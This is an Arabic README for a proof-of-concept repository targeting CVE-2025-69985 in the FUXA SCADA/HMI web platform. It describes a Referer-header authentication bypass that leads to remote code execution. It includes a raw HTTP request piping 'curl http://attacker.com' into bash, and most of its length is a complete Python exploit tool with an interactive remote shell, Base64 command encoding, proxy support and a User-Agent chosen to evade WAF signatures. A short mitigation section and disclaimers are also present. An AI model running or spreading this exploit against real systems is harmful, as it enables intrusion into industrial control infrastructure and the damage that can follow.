
يحتوي هذا المستودع على إثبات المفهوم (PoC) وتوثيق تقني مفصل حول الثغرة الأمنية CVE-2025-69985، التي تؤثر على FUXA (الإصدارات ≤1.2.8). تسمح هذه الثغرة لمهاجم غير مصادق بتنفيذ أوامر عشوائية على الخادم (RCE) عبر تجاوز المصادقة في البرمجيات الوسيطة للتطبيق.
على عكس الثغرات التقليدية مثل تجاوزات الذاكرة في Windows، يكمن هذا الخلل في ضعف منطقي في البرمجيات الوسيطة، حيث يخلط الخادم بين الطلبات الخارجية والداخلية بسبب التحقق غير الصحيح من ترويسة Referer.
| CVE | CVE-2025-69985 |
|---|---|
| النوع | Authentication Bypass via Alternate Path (CWE-288) |
| الأثر | تنفيذ التعليمات البرمجية عن بُعد (RCE) |
| الخطورة | 9.8 حرجة (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| الإصدارات المتأثرة | FUXA ≤ 1.2.8 |
| المنصة | Node.js |
| المنتج | FUXA (SCADA/HMI قائم على الويب) |
تثق البرمجيات الوسيطة في FUXA بشكل أعمى بترويسة Referer. فإذا أرسل مهاجم طلبًا يحتوي على:
Referer: http://<target-ip>/
يفترض الخادم أن الطلب داخلي ويتجاوز التحقق من رمز JWT، مما يسمح بالوصول إلى نقاط النهاية المحمية بدون مصادقة.
عند تجاوز المصادقة، يمكن للمهاجم التفاعل مع نقطة النهاية /api/runscript، المصممة لتنفيذ سكربتات Node.js. بإرسال حمولة JSON خبيثة، يحصل المهاجم على تحكم كامل في عملية الخادم.
POST /api/runscript HTTP/1.1
Host: target-fuxa.local
Referer: http://target-fuxa.local
Content-Type: application/json
{
"script": "require('child_process').exec('curl http://attacker.com | bash')",
"parameters": {}
}
⚠️ ملاحظة: هذا المثال توضيحي. لا تقم بالتنفيذ في بيئات الإنتاج دون إذن.
| المنتج | الإصدارات | المنصة |
|---|---|---|
| FUXA | ≤ 1.2.8 | Node.js |
التحديث الفوري تحديث FUXA إلى إصدار أحدث من 1.2.8 (التصحيح الرسمي).
التصحيح اليدوي
تعديل server/api/jwt-helper.js لإزالة الثقة في ترويسة Referer كوسيلة للمصادقة.
تنفيذ جدار حماية التطبيقات (WAF)
إعداد جدار حماية لتطبيقات الويب لمنع الطلبات الموجهة إلى نقطة النهاية /api/runscript التي لا تأتي من شبكات إدارية معروفة، بغض النظر عن ترويسة Referer.
🔴 هذه المادة لأغراض تعليمية ومراجعة أمنية فقط. 🔴 يُعد استخدام هذه التقنيات ضد أنظمة دون إذن صريح جريمة. 🔴 لا يتحمل المؤلفون المسؤولية عن أي إساءة استخدام لهذه المعلومات.
ميزات متقدمة ترفع هذا الاستغلال إلى مستوى احترافي (بأسلوب Exploit-DB أو أدوات Red Team):
fuxa-exploit.py)import requests
import argparse
import sys
import urllib3
import base64
from typing import Optional
# Configuración estética
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class Logger:
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BLUE = '\033[94m'
RESET = '\033[0m'
@staticmethod
def info(msg): print(f"{Logger.BLUE}[*]{Logger.RESET} {msg}")
@staticmethod
def success(msg): print(f"{Logger.GREEN}[+]{Logger.RESET} {msg}")
@staticmethod
def warn(msg): print(f"{Logger.YELLOW}[!]{Logger.RESET} {msg}")
@staticmethod
def error(msg): print(f"{Logger.RED}[-]{Logger.RESET} {msg}")
class FuxaExploit:
def __init__(self, base_url: str, proxy: Optional[str] = None):
self.base_url = base_url.rstrip('/')
self.session = requests.Session()
self.session.verify = False
if proxy:
self.session.proxies = {"http": proxy, "https": proxy}
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Referer": f"{self.base_url}/fuxa"
})
def check_vulnerable(self) -> bool:
"""Verifica si el endpoint existe antes de atacar."""
try:
r = self.session.get(f"{self.base_url}/api/runscript", timeout=10)
return r.status_code in [401, 405, 200] # Depende de la config del WAF/App
except Exception:
return False
def execute(self, command: str) -> str:
# Payload mejorado: Encoding en Base64 para evitar romper el JSON
b64_cmd = base64.b64encode(command.encode()).decode()
js_code = (
f"const c = Buffer.from('{b64_cmd}', 'base64').toString();"
"const r = require('child_process').execSync(c);"
"return r.toString();"
)
payload = {
"params": {
"script": {
"id": "exp", "name": "exp",
"code": js_code, "test": js_code
}
}
}
try:
r = self.session.post(f"{self.base_url}/api/runscript", json=payload, timeout=20)
return r.text.strip() if r.status_code == 200 else f"Error: {r.status_code}"
except Exception as e:
return f"Exception: {str(e)}"
def main():
parser = argparse.ArgumentParser(description="CVE-2025-69985 - FUXA Professional Exploit Tool")
parser.add_argument("-u", "--url", required=True, help="Target URL")
parser.add_argument("-c", "--cmd", help="Single command to execute")
parser.add_argument("-i", "--interactive", action="store_true", help="Spawn a pseudo-interactive shell")
parser.add_argument("--proxy", help="HTTP proxy (ex: http://127.0.0.1:8080)")
args = parser.parse_args()
exploit = FuxaExploit(args.url, args.proxy)
Logger.info(f"Targeting: {args.url}")
if args.interactive:
Logger.success("Entering interactive mode. Type 'exit' to quit.")
while True:
try:
cmd = input(f"{Logger.GREEN}fuxa-shell$ {Logger.RESET}").strip()
if cmd.lower() in ['exit', 'quit']: break
if not cmd: continue
print(exploit.execute(cmd))
except KeyboardInterrupt: break
elif args.cmd:
Logger.info(f"Executing: {args.cmd}")
print(exploit.execute(args.cmd))
else:
parser.print_help()
if __name__ == "__main__":
main()
⚠️ استخدام مسؤول: قم بالتنفيذ فقط في بيئات خاضعة للتحكم وبإذن صريح.
| الميزة | الوصف |
|---|
| 🔹 إدارة ديناميكية للصدفة | وضع --interactive (-i) الذي يفتح REPL تفاعليًا لتنفيذ أوامر متعددة. |
| 🔹 الاكتشاف والبصمة | يتحقق مما إذا كانت نقطة النهاية /api/runscript موجودة قبل شن الهجوم (check_vulnerable()). |
| 🔹 حمولة محسّنة | أمر مشفّر بـ Base64 لتجنب مشاكل تهريب الأحرف (&, >, ", إلخ). |
| 🔹 متانة الشبكة | دعم لـ User-Agent عشوائي والبروكسيات (مفيد لـ Burp Suite أو التصحيح). |
| 🔹 OOP (البرمجة كائنية التوجه) | فئة FuxaExploit نمطية قابلة لإعادة الاستخدام وقابلة للتوسيع. |
| الميزة | الفائدة |
|---|
| 🔹 OOP | نمطية: يمكن استيراد الفئة FuxaExploit في سكربتات أو أدوات أخرى. |
| 🔹 Base64 Bypass | يتجنب مشاكل التهريب في الأوامر المعقدة (مثل: &, >, ", إلخ). |
🔹 صدفة زائفة (-i) | يسمح بفحص النظام بشكل تفاعلي دون إعادة تشغيل السكربت. |
| 🔹 دعم البروكسي | مفيد لتنقيح الاستغلال باستخدام أدوات مثل Burp Suite أو mitmproxy. |
| 🔹 ترويسات واقعية | User-Agent متصفح لتجنب توقيعات WAF الأساسية. |